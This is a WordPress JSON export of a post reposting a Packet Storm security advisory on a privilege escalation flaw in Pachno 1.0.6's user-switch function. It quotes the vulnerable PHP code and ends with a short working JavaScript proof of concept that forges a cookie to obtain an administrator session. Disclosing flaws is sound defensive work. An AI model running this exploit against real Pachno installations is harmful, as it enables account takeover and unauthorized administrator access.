{"id":46371,"date":"2026-04-13T13:52:27","date_gmt":"2026-04-13T13:52:27","guid":{"rendered":"http:\/\/localhost\/?p=46371"},"modified":"2026-04-13T13:52:27","modified_gmt":"2026-04-13T13:52:27","slug":"pachno-106-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=46371","title":{"rendered":"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-13T17:44:38&#8243;,&#8221;description&#8221;:&#8221;The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration \\u0026\\u0026 !hasCookie&#8217;originalusername&#8217; and only forbids the request when both subexpressions are true. The presence of the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218859&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation\\n    \\n    \\n    Vendor: Daniel Andr\u00e9 Eikeland\\n    Product web page: https:\/\/github.com\/pachno\/pachno\\n    Affected version: 1.0.6\\n    \\n    Summary: Pachno is an open-source collaboration platform (formerly known as The Bug\\n    Genie) designed for team project management, issue tracking, and documentation. It\\n    offers a module-based, customizable environment for software development and team\\n    workflows, distributed under the Mozilla Public License.\\n    \\n    Desc: The authorization check in the runSwitchUser() action evaluates the expression\\n    !canSaveConfiguration() \\u0026\\u0026 !hasCookie(&#8216;original_username&#8217;) and only forbids the request\\n    when both subexpressions are true. The presence of the original_username cookie is\\n    sufficient to satisfy the second condition, and that cookie is fully client-controlled.\\n    An authenticated low-privilege user who sets original_username to any value and then\\n    issues a request to switch to user ID 1 receives a fresh session token (token authentication)\\n    or password hash cookie (password authentication) belonging to the target user. This\\n    can be exploited to elevate privileges to administrator and impersonate arbitrary user\\n    accounts.\\n    \\n    =====================================================================================\\n    \/core\/modules\/auth\/controllers\/Authentication.php:\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n            \/**\\n             * Switch user action\\n             *\\n             * @Route(name=\\&#8221;switch_to_user\\&#8221;, url=\\&#8221;\/userswitch\/switch\/:user_id\/:csrf_token\\&#8221;)\\n             * @CsrfProtected\\n             *\\n             * @param framework\\\\Request $request\\n             *\/\\n            public function runSwitchUser(framework\\\\Request $request)\\n            {\\n                if (!$this-\\u003egetUser()-\\u003ecanSaveConfiguration() \\u0026\\u0026 !$request-\\u003ehasCookie(&#8216;original_username&#8217;))\\n                    return $this-\\u003eforward403();\\n    \\n                $response = $this-\\u003egetResponse();\\n                $authentication_backend = framework\\\\Settings::getAuthenticationBackend();\\n                if ($request[&#8216;user_id&#8217;]) {\\n                    $user = new entities\\\\User($request[&#8216;user_id&#8217;]);\\n                    if ($authentication_backend-\\u003egetAuthenticationMethod() == framework\\\\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {\\n                        $response-\\u003esetCookie(&#8216;original_username&#8217;, $request-\\u003egetCookie(&#8216;username&#8217;));\\n                        $response-\\u003esetCookie(&#8216;original_session_token&#8217;, $request-\\u003egetCookie(&#8216;session_token&#8217;));\\n                        framework\\\\Context::getResponse()-\\u003esetCookie(&#8216;username&#8217;, $user-\\u003egetUsername());\\n                        framework\\\\Context::getResponse()-\\u003esetCookie(&#8216;session_token&#8217;, $user-\\u003ecreateUserSession()-\\u003egetToken());\\n                    } else {\\n                        $response-\\u003esetCookie(&#8216;original_username&#8217;, $request-\\u003egetCookie(&#8216;username&#8217;));\\n                        $response-\\u003esetCookie(&#8216;original_password&#8217;, $request-\\u003egetCookie(&#8216;password&#8217;));\\n                        framework\\\\Context::getResponse()-\\u003esetCookie(&#8216;password&#8217;, $user-\\u003egetHashPassword());\\n                        framework\\\\Context::getResponse()-\\u003esetCookie(&#8216;username&#8217;, $user-\\u003egetUsername());\\n                    }\\n                } else {\\n                    if ($authentication_backend-\\u003egetAuthenticationMethod() == framework\\\\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {\\n                        $response-\\u003esetCookie(&#8216;username&#8217;, $request-\\u003egetCookie(&#8216;original_username&#8217;));\\n                        $response-\\u003esetCookie(&#8216;session_token&#8217;, $request-\\u003egetCookie(&#8216;original_session_token&#8217;));\\n                        framework\\\\Context::getResponse()-\\u003edeleteCookie(&#8216;original_session_token&#8217;);\\n                        framework\\\\Context::getResponse()-\\u003edeleteCookie(&#8216;original_username&#8217;);\\n                    } else {\\n                        $response-\\u003esetCookie(&#8216;username&#8217;, $request-\\u003egetCookie(&#8216;original_username&#8217;));\\n                        $response-\\u003esetCookie(&#8216;password&#8217;, $request-\\u003egetCookie(&#8216;original_password&#8217;));\\n                        framework\\\\Context::getResponse()-\\u003edeleteCookie(&#8216;original_password&#8217;);\\n                        framework\\\\Context::getResponse()-\\u003edeleteCookie(&#8216;original_username&#8217;);\\n                    }\\n                }\\n                $this-\\u003eforward($this-\\u003egetRouting()-\\u003egenerate(&#8216;home&#8217;));\\n            }\\n    =====================================================================================\\n    \\n    Tested on: GNU\/Linux\\n               Apache2\\n               PHP\/7.4\\n               MySQL\/5.7 (MariaDB)\\n    \\n    \\n    Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic\\n                                @zeroscience\\n    \\n    \\n    Advisory ID: ZSL-2026-5985\\n    Advisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5985\\n    \\n    \\n    06.04.2026\\n    \\n    &#8211;\\n    \\n    \\n    document.cookie = \\&#8221;original_username=liquidworm; path=\/\\&#8221;;\\n    \\n    const csrf = document.querySelector(&#8216;input[name=\\&#8221;csrf_token\\&#8221;]&#8217;)?.value\\n              || document.querySelector(&#8216;meta[name=\\&#8221;csrf-token\\&#8221;]&#8217;)?.content;\\n    \\n    fetch(&#8216;\/switch_user&#8217;, {\\n        method: &#8216;POST&#8217;,\\n        credentials: &#8216;include&#8217;,\\n        headers: { &#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;,\\n                   &#8216;User-Agent&#8217;  : &#8216;AuthorizationBypassium\/1.12.04&#8217; },\\n        body: `user_id=1\\u0026csrf_token=${encodeURIComponent(csrf)}`\\n    }).then(() =\\u003e {\\n        window.location.href = &#8216;\/configure&#8217;;\\n    });\\n    \/\/ If you &#8216;see&#8217; \/configure, you are admin.&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/218859&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/218859\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-13T17:44:38&#8243;,&#8221;description&#8221;:&#8221;The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration \\u0026\\u0026 !hasCookie&#8217;originalusername&#8217; and only forbids the request when both subexpressions&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-46371","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=46371\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-13T17:44:38&#8243;,&#8221;description&#8221;:&#8221;The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration u0026u0026 !hasCookie&#8217;originalusername&#8217; and only forbids the request when both subexpressions...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=46371\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-13T13:52:27+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859\",\"datePublished\":\"2026-04-13T13:52:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371\"},\"wordCount\":736,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=46371#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371\",\"name\":\"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-13T13:52:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=46371\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46371#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=46371","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-13T17:44:38&#8243;,&#8221;description&#8221;:&#8221;The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration u0026u0026 !hasCookie&#8217;originalusername&#8217; and only forbids the request when both subexpressions...","og_url":"https:\/\/zero.redgem.net\/?p=46371","og_site_name":"zero redgem","article_published_time":"2026-04-13T13:52:27+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=46371#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=46371"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859","datePublished":"2026-04-13T13:52:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=46371"},"wordCount":736,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=46371#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=46371","url":"https:\/\/zero.redgem.net\/?p=46371","name":"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-13T13:52:27+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=46371#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=46371"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=46371#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation_PACKETSTORM:218859"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/46371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=46371"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/46371\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=46371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=46371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=46371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}